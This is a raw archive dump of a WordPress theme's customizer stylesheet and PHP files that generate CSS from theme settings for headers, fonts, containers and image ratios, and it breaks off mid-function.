.toggle-switch .toggle-switch-label {
    display: block;
    overflow: hidden;
    margin: 0;
    padding: 0;
    cursor: pointer;
    border: 2px solid #ddd;
    border-radius: 20px;
}

.toggle-switch-inner {
    display: block;
    width: 200%;
    margin-left: -100%;
    transition: margin 0.3s ease-in 0s;
}

.toggle-switch-inner:before,
.toggle-switch-inner:after {
    font-family: Trebuchet, Arial, sans-serif;
    font-size: 14px;
    font-weight: bold;
    line-height: 22px;
    display: block;
    float: left;
    box-sizing: border-box;
    width: 50%;
    height: 22px;
    padding: 0;
    color: white;
}

.toggle-switch-inner:before {
    padding-left: 8px;
    content: "ON";
    color: #fff;
    background-color: #2885bb;
}

.toggle-switch-inner:after {
    padding-right: 8px;
    content: "OFF";
    text-align: right;
    color: #999;
    background-color: #eee;
}

.toggle-switch-switch {
    position: absolute;
    top: 0;
    right: 38px;
    bottom: 0;
    display: block;
    width: 16px;
    margin: 3px;
    transition: all 0.3s ease-in 0s;
    border: 2px solid #ddd;
    border-radius: 20px;
    background-color: #fff;
}

.toggle-switch-checkbox:checked + .toggle-switch-label .toggle-switch-inner {
    margin-left: 0;
}

.toggle-switch-checkbox:checked + .toggle-switch-label .toggle-switch-switch {
    right: 0px;
}

/* ==========================================================================
   Pill Checkboxes
   ========================================================================== */
.pill_checkbox_control .checkbox-label > input {
    display: none;
}

.pill_checkbox_control .checkbox-label > .sortable-pill-title {
    font-size: 1rem;
    display: inline-block;
    box-sizing: border-box;
    margin-bottom: 5px;
    padding: 5px 15px;
    cursor: pointer;
    border-radius: 20px;
    background-color: #ddd;
}

.pill_checkbox_control .sortable .checkbox-label > .sortable-pill-title {
    cursor: move;
}

.pill_checkbox_control .sortable.fullwidth_pills .checkbox-label > .sortable-pill-title {
    cursor: pointer;
}

.pill_checkbox_control .checkbox-label > input:checked + .sortable-pill-title {
    color: #fff;
    background-color: #2084bd;
}

.pill_checkbox_control .checkbox-label > input:checked + .sortable-pill-title:before {
    font-family: "dashicons";
    font-size: 24px;
    font-weight: normal;
    font-style: normal;
    font-variant: normal;
    display: inline-block;
    margin-left: -10px;
    content: "\f147";
    vertical-align: bottom;
    text-rendering: auto;
    -webkit-font-smoothing: antialiased;
}

.pill_checkbox_control .fullwidth_pills .checkbox-label > .sortable-pill-title {
    width: 100%;
    border-radius: 0;
}

.pill_checkbox_control .sortable.fullwidth_pills .checkbox-label > .sortable-pill-title {
    width: 90%;
}

.pill-ui-state-highlight {
    font-size: 1rem;
    display: inline-block;
    height: 16px;
    margin-bottom: 5px;
    padding: 5px 15px;
    border: 1px dotted #2084bd;
    border-radius: 20px;
}

.pill_checkbox_control .sortable_pills .pill-ui-state-highlight {
    width: 50px;
    border-radius: 20px;
}

.pill_checkbox_control .sortable_pills.fullwidth_pills .pill-ui-state-highlight {
    width: 90%;
    border-radius: 0;
}

.pill_checkbox_control .dashicons-sort {
    margin: 5px 0 0 1px;
    cursor: move;
    color: #d4d4d4;
}

.pill_checkbox_control .dashicons-sort:hover {
    color: #a7a7a7;
}

.pill_checkbox_control .sortable_pills.fullwidth_pills .ui-sortable-helper {
    width: calc(100% - 25px) !important;
}

/* ==========================================================================
   WPColorPicker Alpha Color Picker
   ========================================================================== */
.customize-control-wpcolorpicker-alpha-color .wp-color-result {
    box-shadow: none;
}

.customize-control-wpcolorpicker-alpha-color .wp-picker-input-wrap input[type="text"].wp-color-picker {
    float: left;
    width: 195px !important;
}

.customize-control-wpcolorpicker-alpha-color .wp-color-result .wp-color-result-text {
    border-left: none;
}

.customize-control-wpcolorpicker-alpha-color .iris-picker-inner .iris-slider,
.customize-control-wpcolorpicker-alpha-color .iris-picker-inner .iris-alpha-slider,
.customize-control-two-color-gradient .iris-picker-inner .iris-alpha-slider {
    width: 17.6px !important;
}

/* ==========================================================================
   Upsell Section
   ========================================================================== */
#customize-theme-controls #accordion-section-upsell_section {
    display: block !important;
}

#customize-theme-controls .upsell-section-title {
    font-size: 14px;
    position: relative;
    margin: 0;
    padding: 0;
    -moz-user-select: none;
    -ms-user-select: none;
    -webkit-user-select: none;
    user-select: none;
    transition: 0s color ease-in-out, 0s background-color ease-in-out, 0s border-color ease-in-out;
    border-right: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
    border-left: 4px solid #fff;
    border-left: 1px solid #ddd;
}

#customize-theme-controls .upsell-section-title::after {
    font: normal 20px/1 dashicons;
    position: absolute;
    z-index: 1;
    top: 12px;
    right: 10px;
    display: block;
    content: "\f345";
    text-decoration: none !important;
    speak: none;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

#customize-theme-controls .upsell-section-title a {
    line-height: 21px;
    display: block;
    padding: 12px 15px 15px;
    text-decoration: none;
}

.tinymce-control textarea {
    width: 100%;
    padding: 10px;
}
.customize-control .box-model-wrapper span {
    display: block;
    margin: 0 0 10px;
}
.customize-control .box-model-wrapper .box-spacing-item,
.penci-pm-control .button-group {
    width: 24%;
    margin-right: 1%;
    display: inline-block;
}

.customize-control .box-model-wrapper .box-model + .box-model {
    margin-top: 15px;
}

.customize-control .box-model-wrapper .box-spacing-item:last-child {
    margin-right: 0;
}

.customize-control .box-model-wrapper .box-head {
    padding: 5px 10px;
    background: #444;
    color: #fff;
}

.penci-pm-control .button-group .label {
    font-size: 11px;
    display: block;
}
.customize-control .iris-strip.iris-slider.iris-alpha-slider {
    margin-left: 8px !important;
}
.customize-control-soledad-fw-color .wp-picker-container .color-alpha {
    border-radius: 0 !important;
    height: 28px !important;
}
#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
    margin-top: 60px;
}
#customize-controls h3 {
    letter-spacing: -0.025rem;
}
.customize-control-description {
    display: none;
    margin-bottom: 10px;
}
#customize-controls .description.active {
    display: block !important;
}
.customize-control .help-icon {
    display: inline-block;
    width: 16px;
    height: 16px;
    background: #0073aa;
    color: #fff;
    font-size: 12px;
    text-align: center;
    line-height: 16px;
    border-radius: 50%;
    cursor: pointer;
    margin-left: 5px;
    position: relative;
}
.customize-control .tippy-box {
    border-radius: 5px !important;
}
.customize-control .tippy-box .tippy-content {
    font-size: 12px !important;
    line-height: 1.4 !important;
    height: auto !important;
    padding: 12px !important;
    font-weight: 400 !important;
}PK     N\6 ,  ,  0  inc/customizer/style-page-header-transparent.phpnu [        <?php
if ( ! function_exists( 'pencidesign_customizer_css_page_header_transparent' ) ):
	function pencidesign_customizer_css_page_header_transparent() {
		$post_meta_df   = array(
			'tran_slogan_color'            => '',
			'tran_slogan_line_color'       => '',
			'tran_social_color'            => '',
			'tran_social_color_hover'      => '',
			'tran_main_bar_nav_color'      => '',
			'tran_bar_color_active'        => '',
			'tran_main_bar_padding_color'  => '',
			'tran_main_bar_search_magnify' => '',
			'tran_main_bar_close_color'    => '',
		);
		$header_options = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
		$header_options = wp_parse_args( $header_options, $post_meta_df );

		$slogan_color            = $header_options['tran_slogan_color'] ? $header_options['tran_slogan_color'] : get_theme_mod( 'penci_header_tran_slogan_color' );
		$slogan_line_color       = $header_options['tran_slogan_line_color'] ? $header_options['tran_slogan_line_color'] : get_theme_mod( 'penci_header_tran_slogan_line_color' );
		$social_color            = $header_options['tran_social_color'] ? $header_options['tran_social_color'] : get_theme_mod( 'penci_header_tran_social_color' );
		$social_color_hover      = $header_options['tran_social_color_hover'] ? $header_options['tran_social_color_hover'] : get_theme_mod( 'penci_header_tran_social_color_hover' );
		$main_bar_nav_color      = $header_options['tran_main_bar_nav_color'] ? $header_options['tran_main_bar_nav_color'] : get_theme_mod( 'penci_tran_main_bar_nav_color' );
		$bar_color_active        = $header_options['tran_bar_color_active'] ? $header_options['tran_bar_color_active'] : get_theme_mod( 'penci_tran_main_bar_color_active' );
		$bar_padding_color       = $header_options['tran_main_bar_padding_color'] ? $header_options['tran_main_bar_padding_color'] : get_theme_mod( 'penci_tran_main_bar_padding_color' );
		$main_bar_search_magnify = $header_options['tran_main_bar_search_magnify'] ? $header_options['tran_main_bar_search_magnify'] : get_theme_mod( 'penci_tran_main_bar_search_magnify' );
		$main_bar_close_color    = $header_options['tran_main_bar_close_color'] ? $header_options['tran_main_bar_close_color'] : get_theme_mod( 'penci_tran_main_bar_close_color' );

		?>

		@media only screen and (min-width: 961px){
		<?php if ( $slogan_color ): ?>
			.penci-header-trans .header-slogan .header-slogan-text{ color:  <?php echo esc_attr( $slogan_color ); ?> !important; }
		<?php endif; ?>
		<?php if ( $slogan_line_color ): ?>
			.penci-header-trans .header-slogan .header-slogan-text:before, .penci-header-trans .header-slogan .header-slogan-text:after { background:  <?php echo esc_attr( $slogan_line_color ); ?>; }
		<?php endif; ?>

		<?php if ( $social_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .header-social a i,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .header-social a i,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .main-nav-social a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .main-nav-social a {   color: <?php echo esc_attr( $social_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .lines-button:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .lines-button:after,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle .penci-lines:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle .penci-lines:after {   background-color: <?php echo esc_attr( $social_color ); ?>; }
		<?php endif; ?>
		<?php if ( $social_color_hover ): ?>
			.penci-header-trans .header-social a:hover i, .penci-header-trans .header-social a:hover i, .penci-header-trans #navigation.sticky:not(.sticky-active) .main-nav-social a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .main-nav-social a:hover {   color: <?php echo esc_attr( $social_color_hover ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .lines-button:after,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .penci-lines:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .penci-menuhbg-toggle:hover .penci-lines:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .lines-button:after,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .penci-lines:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .penci-menuhbg-toggle:hover .penci-lines:after {   background-color: <?php echo esc_attr( $social_color_hover ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_nav_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li > a, .penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li > a { color:  <?php echo esc_attr( $main_bar_nav_color ); ?>; }
		<?php endif; ?>
		<?php if ( $bar_color_active ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li > a:hover,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current_page_item > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li:hover > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-ancestor > a,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li > a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current_page_item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li:hover > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu li.current-menu-ancestor > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > li.current-menu-item > a { color:  <?php echo esc_attr( $bar_color_active ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) ul.menu > li > a:before,
			.penci-header-trans #navigation.sticky:not(.sticky-active) .menu > ul > li > a:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation ul.menu > li > a:before,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .menu > ul > li > a:before { background: <?php echo esc_attr( $bar_color_active ); ?>; }
		<?php endif; ?>
		<?php if ( $bar_padding_color ): ?>
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li > a:hover,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li:hover > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current_page_item > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-ancestor > a,
			.penci-header-trans #navigation.menu-item-padding:not(.sticky-active) .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li > a:hover,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li:hover > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current_page_item > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-ancestor > a,
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation.menu-item-padding .menu > li.current-menu-item > a { background-color:  <?php echo esc_attr( $bar_padding_color ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_search_magnify ): ?>
            .penci-header-trans #navigation.sticky:not(.sticky-active) .top-search-classes a.cart-contents,
            .penci-header-trans #navigation.sticky:not(.sticky-active) .top-search-classes > a,
            .penci-header-trans #navigation.sticky:not(.sticky-active) .button-menu-mobile,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) .top-search-classes > a,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) .top-search-classes a.cart-contents,
            .penci-header-trans .sticky-wrapper:not( .is-sticky ) #navigation .button-menu-mobile { color: <?php echo esc_attr( $main_bar_search_magnify ); ?>; }
		<?php endif; ?>
		<?php if ( $main_bar_close_color ): ?>
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search a.close-search, .penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search a.close-search{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input:-moz-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input::-moz-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input:-ms-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1;}
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo esc_attr( $main_bar_close_color ); ?>; opacity: 1; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans #navigation.sticky:not(.sticky-active) .show-search form.pc-searchform input.search-input{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
			.penci-header-trans .sticky-wrapper:not( .is-sticky ) .show-search form.pc-searchform input.search-input{ color: <?php echo esc_attr( $main_bar_close_color ); ?>; }
		<?php endif; ?>
		}
		<?php
	}
endif;
PK     N\              inc/customizer/quick-edit.phpnu [        PK     N\B4eR  R    inc/customizer/custom-css.phpnu [        <?php
header("Content-type: text/css; charset: UTF-8");

// Load the WordPress library.

// "../../../../../../wp-load.php"
$root = dirname( dirname( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) ) );

// "../../../../../wp-load.php"
$root2 = dirname( dirname( dirname( dirname( dirname( __FILE__ ) ) ) ) );

// "../../../../wp-load.php"
$root3 = dirname( dirname( dirname( dirname( __FILE__ ) ) ) );

if ( file_exists( $root . '/wp-load.php' ) ) {
	require_once( $root . '/wp-load.php' );
} elseif ( file_exists( $root2 . '/wp-load.php' ) ) {
	require_once( $root2 . '/wp-load.php' );
} elseif ( file_exists( $root3 . '/wp-load.php' ) ) {
	require_once( $root3 . '/wp-load.php' );
} else {
	return;
}

pencidesign_get_customizer_css_file();
pencidesign_customizer_css_page_header_title();
pencidesign_customizer_css_page_header_transparent();PK     N\Ga a   inc/customizer/style.phpnu [        <?php
/**
 * Add customize CSS from options customizer
 * Hook to wp_head() function to render style
 *
 * @package Wordpress
 * @since 1.0
 */
if ( ! function_exists( 'pencidesign_return_css' ) ):
	function pencidesign_return_css() {
		ob_start();
		pencidesign_get_customizer_css_file();
		if ( is_page() ) {
			pencidesign_customizer_css_page_header_title();
			pencidesign_customizer_css_page_header_transparent();
		}

		$output = ob_get_contents();
		ob_end_clean();

		return $output;
	}
endif;

/* Customize CSS */
if ( ! function_exists( 'pencidesign_customizer_css' ) ):
	function pencidesign_customizer_css() {
		if ( get_theme_mod( 'penci_custom_code_inside_head_tag' ) ):
			echo do_shortcode( get_theme_mod( 'penci_custom_code_inside_head_tag' ) );
		endif;

		$option = get_theme_mod( 'penci_spcss_render' );
		if ( 'separate_file' != $option ) {
			$string_css    = pencidesign_return_css();
			$string_render = trim( preg_replace( '/\s+/', ' ', $string_css ) );
			echo '<style id="penci-custom-style" type="text/css">';
			echo $string_render;
			echo '</style>';
		}
	}
endif;

if ( ! function_exists( 'pencidesign_get_customizer_css_file' ) ):
	function pencidesign_get_customizer_css_file() {
		$single_image_ratio = get_theme_mod( 'penci_post_featured_image_ratio' );
		$custom_container   = get_theme_mod( 'penci_custom_container_w' );
		$custom_container2  = get_theme_mod( 'penci_custom_container2_w' );
		$custom_scontainer  = get_theme_mod( 'penci_single_container_w' );
		$custom_scontainer2 = get_theme_mod( 'penci_single_container2_w' );

		$ajs_customizes               = [];
		$ajs_customizes['pcajs_tcl']  = get_theme_mod( 'penci_ajaxsearch_title_cl' );
		$ajs_customizes['pcava_bdr']  = get_theme_mod( 'penci_meta_author_bd', '10px' );
		$ajs_customizes['pcajs_thcl'] = get_theme_mod( 'penci_ajaxsearch_title_hcl' );
		$ajs_customizes['pcajs_mcl']  = get_theme_mod( 'penci_ajaxsearch_meta_cl' );
		$ajs_customizes['pcajs_mhcl'] = get_theme_mod( 'penci_ajaxsearch_meta_hcl' );
		$ajs_customizes['pcajs_ncl']  = get_theme_mod( 'penci_ajaxsearch_notice_cl' );
		$ajs_customizes['pcajs_bgcl'] = get_theme_mod( 'penci_ajaxsearch_bg_cl' );
		$ajs_customizes['pcajs_bcl']  = get_theme_mod( 'penci_ajaxsearch_borders_cl' );
		$ajs_customizes['pcajs_tfz']  = get_theme_mod( 'penci_ajaxsearch_title_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_title_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_mfz']  = get_theme_mod( 'penci_ajaxsearch_meta_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_meta_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_nfz']  = get_theme_mod( 'penci_ajaxsearch_notice_fsize' ) ? get_theme_mod( 'penci_ajaxsearch_notice_fsize' ) . 'px' : '';
		$ajs_customizes['pcajs_fvw']  = get_theme_mod( 'penci_video_float_w' ) ? get_theme_mod( 'penci_video_float_w' ) . 'px' : '470px';
		$ajs_customizes['pcajs_fvmw'] = get_theme_mod( 'penci_video_float_mw' ) ? get_theme_mod( 'penci_video_float_mw' ) . 'px' : '220px';
		$is_block_editor_mode = is_admin() ? true : false;
		$body = $is_block_editor_mode ? '.editor-styles-wrapper' : 'body';
		$edit_prefix = $is_block_editor_mode ? '.editor-styles-wrapper ' : '';
		?>
        <?php echo $body; ?>{
        --pcbg-cl: #fff;
        --pctext-cl: #313131;
        --pcborder-cl: #dedede;
        --pcheading-cl: #313131;
        --pcmeta-cl: #888888;
        --pcaccent-cl: #6eb48c;
        --pcbody-font: 'PT Serif', serif;
        --pchead-font: 'Raleway', sans-serif;
        --pchead-wei: bold;
		<?php
		foreach ( $ajs_customizes as $ajax_i => $value ) {
			echo $value ? '--' . $ajax_i . ':' . $value . ';' : '';
		}
		?>
        }
        .single.penci-body-single-style-5 #header,
        .single.penci-body-single-style-6 #header,
        .single.penci-body-single-style-10 #header,
        .single.penci-body-single-style-5 .pc-wrapbuilder-header,
        .single.penci-body-single-style-6 .pc-wrapbuilder-header,
        .single.penci-body-single-style-10 .pc-wrapbuilder-header {
        --pchd-mg: 40px;
        }
        .fluid-width-video-wrapper > div {
        position: absolute;
        left: 0;
        right: 0;
        top: 0;
        width: 100%;
        height: 100%;
        }
        .yt-video-place {
        position: relative;
        text-align: center;
        }
        .yt-video-place.embed-responsive .start-video {
        display: block;
        top: 0;
        left: 0;
        bottom: 0;
        right: 0;
        position: absolute;
        transform: none;
        }
        .yt-video-place.embed-responsive .start-video img {
        margin: 0;
        padding: 0;
        top: 50%;
        display: inline-block;
        position: absolute;
        left: 50%;
        transform: translate(-50%, -50%);
        width: 68px;
        height: auto;
        }
        .mfp-bg {
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 9999999;
        overflow: hidden;
        position: fixed;
        background: #0b0b0b;
        opacity: .8;
        filter: alpha(opacity=80)
        }
        .mfp-wrap {
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 9999999;
        position: fixed;
        outline: none !important;
        -webkit-backface-visibility: hidden
        }
		<?php
		if ( $custom_container && $custom_container > 799 ) {
			echo 'body{--pcctain: ' . $custom_container . 'px}';
			if ( $custom_container > 1170 ) {
				echo '@media only screen and (min-width: 1170px) and (max-width: ' . $custom_container . 'px){ body{ --pcctain: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_container2 && $custom_container2 > 799 ) {
			echo 'body{--pcctain2: ' . $custom_container2 . 'px}';
			if ( $custom_container2 > 1400 ) {
				echo '@media only screen and (min-width: 1400px) and (max-width: ' . $custom_container2 . 'px){ body{ --pcctain2: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_scontainer && $custom_scontainer > 599 ) {
			echo 'body.single{--pcctain: ' . $custom_scontainer . 'px}';
			if ( $custom_scontainer > 1170 ) {
				echo '@media only screen and (min-width: 1170px) and (max-width: ' . $custom_scontainer . 'px){ body.single{ --pcctain: calc( 100% - 40px ); } }';
			}
		}

		if ( $custom_scontainer2 && $custom_scontainer2 > 799 ) {
			echo 'body.single{--pcctain2: ' . $custom_scontainer2 . 'px}';
			if ( $custom_scontainer2 > 1400 ) {
				echo '@media only screen and (min-width: 1400px) and (max-width: ' . $custom_scontainer2 . 'px){ body.single{ --pcctain2: calc( 100% - 40px ); } }';
			}
		}

		for ( $headings_i = 1; $headings_i <= 6; $headings_i ++ ) {
			$headings_font_size = get_theme_mod( 'penci_font_gh' . $headings_i . '_font_size' );
			$headings_mobile_font_size = get_theme_mod( 'penci_font_gh' . $headings_i . '_mfont_size' );

			if ( $headings_font_size ) {
				echo 'h' . $headings_i . '{ font-size: ' . $headings_font_size . 'px; }';
			}

			if ( $headings_mobile_font_size ) {
				echo '@media only screen and (max-width: 768px) { h' . $headings_i . '{ font-size: ' . $headings_mobile_font_size . 'px; } }';
			}
		}

		$pmeta_single_image_ratio = get_post_meta( get_the_ID(), 'penci_pfeatured_image_ratio', true );
		if ( $pmeta_single_image_ratio ) {
			$single_image_ratio = $pmeta_single_image_ratio;
		}

		$single_style = penci_get_single_style();

		if ( $single_image_ratio ) {
			$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
			$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
			$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

			if ( $single_image_width && $single_image_height ) {
				echo '.single .penci-single-featured-img{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '% !important; }';
			}
		}

		if ( get_theme_mod( 'penci_featured_image_size' ) == 'square' ) {
			echo '.penci-image-holder:before{ padding-top: 100%; }';
		} elseif ( get_theme_mod( 'penci_featured_image_size' ) == 'vertical' ) {
			echo '.penci-image-holder:before{ padding-top: 135.4%; }';
		} elseif ( get_theme_mod( 'penci_featured_image_size' ) == 'custom' ) {
			$single_image_ratio = get_theme_mod( 'penci_general_featured_image_ratio' );

			if ( $single_image_ratio ) {
				$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
				$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
				$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

				if ( $single_image_width && $single_image_height ) {
					echo '.penci-image-holder:before{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '%; }';
				}
			}
		}

		if ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'square' ) {
			echo '.penci-megamenu .penci-image-holder:before{ padding-top: 100%; }';
		} elseif ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'vertical' ) {
			echo '.penci-megamenu .penci-image-holder:before{ padding-top: 135.4%; }';
		} elseif ( get_theme_mod( 'penci_mega_featured_image_size' ) == 'custom' ) {
			$single_image_ratio = get_theme_mod( 'penci_mega_featured_image_ratio' );

			if ( $single_image_ratio ) {
				$single_image_ratio  = array_filter( explode( ':', $single_image_ratio . ':' ) );
				$single_image_width  = isset( $single_image_ratio[0] ) ? $single_image_ratio[0] : '';
				$single_image_height = isset( $single_image_ratio[1] ) ? $single_image_ratio[1] : '';

				if ( $single_image_width && $single_image_height ) {
					echo '.penci-megamenu .pcmis-2 .penci-image-holder:before,.penci-megamenu .pcmis-3 .penci-image-holder:before,.penci-megamenu .penci-image-holder:before{ padding-top: ' . number_format( $single_image_height / $single_image_width * 100, 4 ) . '%; }';
				}
			}
		}

		if ( function_exists( 'penci_soledad_list_self_fonts' ) ) {
			penci_soledad_list_self_fonts();
		}
		if ( function_exists( 'penci_soledad_add_custom_fonts' ) ) {
			penci_soledad_add_custom_fonts();
		}

		$selector_bg_cl   = get_theme_mod( 'penci_textselector_bgcolor' );
		$selector_text_cl = get_theme_mod( 'penci_textselector_txtcolor' );

		if ( $selector_bg_cl ) {
			?>
            ::selection {
            background: <?php echo $selector_bg_cl ?>;
            }
			<?php
		}

		if ( $selector_text_cl ) {
			?>
            ::selection {
            color: <?php echo $selector_text_cl ?>;
            }
			<?php
		}

		if ( get_theme_mod( 'penci_font_for_title' ) && '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' != get_theme_mod( 'penci_font_for_title' ) ) {
			$font_family_title     = get_theme_mod( 'penci_font_for_title' );
			$font_family_title_end = $font_family_title;
			if ( ! array_key_exists( $font_family_title, penci_font_browser() ) ) {
				$font_family_title = str_replace( '"', '', $font_family_title );
				$font_title_explo  = explode( ", ", $font_family_title );
				$font_title        = isset( $font_title_explo[0] ) ? $font_title_explo[0] : '';
				$font_title_serif  = isset( $font_title_explo[2] ) ? $font_title_explo[2] : '';
				$space_end         = ', ';
				if ( empty( $font_title_serif ) ): $space_end = ''; endif;
				$font_family_title_end = "'" . $font_title . "'" . $space_end . $font_title_serif;
			}
			?>
            <?php echo $body;?> { --pchead-font: <?php echo sanitize_text_field( $font_family_title_end ); ?>; }
			<?php
		}
		?>
		<?php
		if ( get_theme_mod( 'penci_font_for_body' ) && '"PT Serif", "regular:italic:700:700italic", serif' != get_theme_mod( 'penci_font_for_body' ) ) {
			$font_family_body     = get_theme_mod( 'penci_font_for_body' );
			$font_family_body_end = $font_family_body;
			if ( ! array_key_exists( $font_family_body, penci_font_browser() ) ) {
				$font_family_body = str_replace( '"', '', $font_family_body );
				$font_body_explo  = explode( ", ", $font_family_body );
				$font_body        = isset( $font_body_explo[0] ) ? $font_body_explo[0] : '';
				$font_body_serif  = isset( $font_body_explo[2] ) ? $font_body_explo[2] : '';
				$space_body_end   = ', ';
				if ( empty( $font_body_serif ) ): $space_body_end = ''; endif;
				$font_family_body_end = "'" . $font_body . "'" . $space_body_end . $font_body_serif;
			}
			?>
            <?php echo $body;?> { --pcbody-font: <?php echo sanitize_text_field( $font_family_body_end ); ?>; } p{ line-height: 1.8; }
			<?php
		}
		if ( get_theme_mod( 'penci_font_weight_bodytext' ) ) {
			?>
